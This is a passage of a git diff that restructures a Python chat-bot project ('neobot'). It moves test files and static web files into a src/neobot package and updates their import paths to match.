index 98% rename from tests/test_models.py rename to src/neobot/tests/test_models.py index 09747e7..438a3a0 100644 --- a/tests/test_models.py +++ b/src/neobot/tests/test_models.py @@ -1,5 +1,5 @@ -from models.message import MessageSegment -from models.objects import GroupInfo, StrangerInfo +from neobot.models.message import MessageSegment +from neobot.models.objects import GroupInfo, StrangerInfo class TestMessageSegment: def test_text_segment(self): diff --git a/tests/test_performance.py b/src/neobot/tests/test_performance.py similarity index 99% rename from tests/test_performance.py rename to src/neobot/tests/test_performance.py index 8060dae..caee2a0 100644 --- a/tests/test_performance.py +++ b/src/neobot/tests/test_performance.py @@ -10,7 +10,7 @@ import time import pytest # 导入性能分析工具 -from core.utils.performance import ( +from neobot.core.utils.performance import ( timeit, profile, aprofile, diff --git a/tests/test_plugin_manager_coverage.py b/src/neobot/tests/test_plugin_manager_coverage.py similarity index 97% rename from tests/test_plugin_manager_coverage.py rename to src/neobot/tests/test_plugin_manager_coverage.py index dd5887f..29b3f76 100644 --- a/tests/test_plugin_manager_coverage.py +++ b/src/neobot/tests/test_plugin_manager_coverage.py @@ -2,8 +2,8 @@ import sys import pytest from unittest.mock import MagicMock, patch, call -from core.managers.plugin_manager import PluginManager -from core.managers.command_manager import CommandManager +from neobot.core.managers.plugin_manager import PluginManager +from neobot.core.managers.command_manager import CommandManager @pytest.fixture def mock_command_manager(): diff --git a/tests/test_plugin_reload_meta.py b/src/neobot/tests/test_plugin_reload_meta.py similarity index 96% rename from tests/test_plugin_reload_meta.py rename to src/neobot/tests/test_plugin_reload_meta.py index 0f889c0..3af3767 100644 --- a/tests/test_plugin_reload_meta.py +++ b/src/neobot/tests/test_plugin_reload_meta.py @@ -1,4 +1,4 @@ -from core.managers.command_manager import CommandManager +from neobot.core.managers.command_manager import CommandManager class TestPluginReloadMeta: def test_plugin_meta_persistence(self): diff --git a/tests/test_redis_manager.py b/src/neobot/tests/test_redis_manager.py similarity index 98% rename from tests/test_redis_manager.py rename to src/neobot/tests/test_redis_manager.py index e3699f8..f749e7f 100644 --- a/tests/test_redis_manager.py +++ b/src/neobot/tests/test_redis_manager.py @@ -1,6 +1,6 @@ import pytest from unittest.mock import patch, AsyncMock -from core.managers.redis_manager import RedisManager +from neobot.core.managers.redis_manager import RedisManager class TestRedisManager: diff --git a/tests/test_thread_manager.py b/src/neobot/tests/test_thread_manager.py similarity index 96% rename from tests/test_thread_manager.py rename to src/neobot/tests/test_thread_manager.py index 0bd79b2..9d93c30 100644 --- a/tests/test_thread_manager.py +++ b/src/neobot/tests/test_thread_manager.py @@ -13,7 +13,7 @@ from concurrent.futures import ThreadPoolExecutor import pytest -from core.managers.thread_manager import thread_manager, ThreadManager +from neobot.core.managers.thread_manager import thread_manager, ThreadManager class TestThreadManager: @@ -114,7 +114,7 @@ class TestReverseWSManagerThreading: def test_locks_exist(self): """测试锁是否正确初始化""" - from core.managers.reverse_ws_manager import ReverseWSManager + from neobot.core.managers.reverse_ws_manager import ReverseWSManager manager = ReverseWSManager() diff --git a/tests/test_ws.py b/src/neobot/tests/test_ws.py similarity index 99% rename from tests/test_ws.py rename to src/neobot/tests/test_ws.py index eb423b4..6d5bd46 100644 --- a/tests/test_ws.py +++ b/src/neobot/tests/test_ws.py @@ -1,7 +1,7 @@ import pytest from unittest.mock import MagicMock, AsyncMock, patch -from core.ws import WS -from core.bot import Bot +from neobot.core.ws import WS +from neobot.core.bot import Bot class TestWS: diff --git a/tests/test_ws_pool.py b/src/neobot/tests/test_ws_pool.py similarity index 98% rename from tests/test_ws_pool.py rename to src/neobot/tests/test_ws_pool.py index b439ef7..cb71eea 100644 --- a/tests/test_ws_pool.py +++ b/src/neobot/tests/test_ws_pool.py @@ -7,8 +7,8 @@ import pytest import asyncio from unittest.mock import Mock, patch, MagicMock -from core.ws_pool import WSConnection, WSConnectionPool -from core.utils.exceptions import WebSocketError, WebSocketConnectionError +from neobot.core.ws_pool import WSConnection, WSConnectionPool +from neobot.core.utils.exceptions import WebSocketError, WebSocketConnectionError class TestWSConnection: diff --git a/web_static/changelog.html b/src/neobot/web_static/changelog.html similarity index 100% rename from web_static/changelog.html rename to src/neobot/web_static/changelog.html diff --git a/web_static/changelog_generator/generate.py b/src/neobot/web_static/changelog_generator/generate.py similarity index 100% rename from web_static/changelog_generator/generate.py rename to src/neobot/web_static/changelog_generator/generate.py diff --git a/web_static/changelog_generator/template.html b/src/neobot/web_static/changelog_generator/template.html similarity index 100% rename from web_static/changelog_generator/template.html rename to src/neobot/web_static/changelog_generator/template.html diff --git a/web_static/html/404.html b/src/neobot/web_static/html/404.html similarity index 100% rename from web_static/html/404.html rename to src/neobot/web_static/html/404.html diff --git a/web_static/html/index.html b/src/neobot/web_static/html/index.html similarity index 100% rename from web_static/html/index.html rename to src/neobot/web_static/html/index.html